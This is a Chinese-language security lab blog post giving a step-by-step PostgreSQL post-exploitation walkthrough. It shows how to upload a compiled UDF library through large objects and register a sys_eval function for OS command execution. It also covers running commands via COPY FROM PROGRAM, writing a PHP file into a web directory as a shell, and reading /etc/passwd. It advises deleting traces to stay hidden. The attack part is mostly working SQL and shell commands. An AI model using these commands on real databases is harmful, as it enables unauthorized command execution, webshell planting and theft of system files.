
破军安全实验室
本文约1700字,阅读约需5分钟。


0x00 前言



0x01 利用

1、查看当前postgre数据库的路径,主要是用来查看你的dll或者so文件是否成功上传
select pg_ls_dir('./');
复制
对应下面的目录
2、新建一个大型对象并返回该大型对象的oid
SELECT lo_create(9023);
复制
创建成功后在pg_largeobject_metadata表里能查看你是否创建了这个oid
不能直接用select * frompg_largeobject_metadata
得使用select oid frompg_largeobject_metadata才能查出来已经创建的oid
用完使用delete frompg_largeobject_metadata where oid=9024; 来删除,尽量隐蔽自己
3、创建好oid后往pg_largeobject表里插入内容,项目地址如下:
https://github.com/sqlmapproject/udfhack/tree/master/linux/lib_postgresqludf_sys
复制
将上述github项目根据目标postgre版本编译成so或者dll即可
把编译好的so或dll文件的16进制数据取出来,可以使用以下命令
cat exp.so|xxd -ps|tr -d "\n"
复制
然后将16进制数据进行分割,以4096字节进行分割。可以自行手动分割或者写脚本。
然后往pg_largeobject表里插入数据,如果最后一段分割的文本长度不够4096字节,直接使用也是可以的
insert into pg_largeobject values (9023, 0, decode('72756E64......0000000000', 'hex'));
insert into pg_largeobject values (9023, 1, decode('72756E64......0000000000', 'hex'));
insert into pg_largeobject values (9023, 2, decode('72756E64......0000000000', 'hex'));
复制
可以使用select * from pg_largeobject来查看插入的数据
4、导出插入的16进制数据生成dll或者so文件
SELECT lo_export(9023,'123.so');
复制
导出后会在当前目录生成文件
5、加载dll或so文件
CREATE OR REPLACE FUNCTION sys_eval(text)RETURNS text AS '123.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUTIMMUTABLE;
复制
这里需要注意,我这里的so文件是针对postgresql9.6版本的,别的版本的需要针对性编译
6、执行命令
select sys_eval('pwd');
复制
7、用完记得删除函数
drop function sys_eval(text);
复制
第二种方式执行命令,这种方式是需要要求版本大于9.3以上的
由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'pwd';
SELECT * FROM cmd_exec;
复制
如果目标机器存在web服务,并且知道绝对路径的情况下可以写shell
COPY (select '<?php phpinfo();?>') to'/tmp/1.php';
复制
也可以用来读取文件
drop table read_file;
CREATE TABLE read_file(t TEXT);
COPY read_file FROM '/etc/passwd';
SELECT * FROM read_file
复制
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

破军安全实验室
# 长按二维码 关注我们 #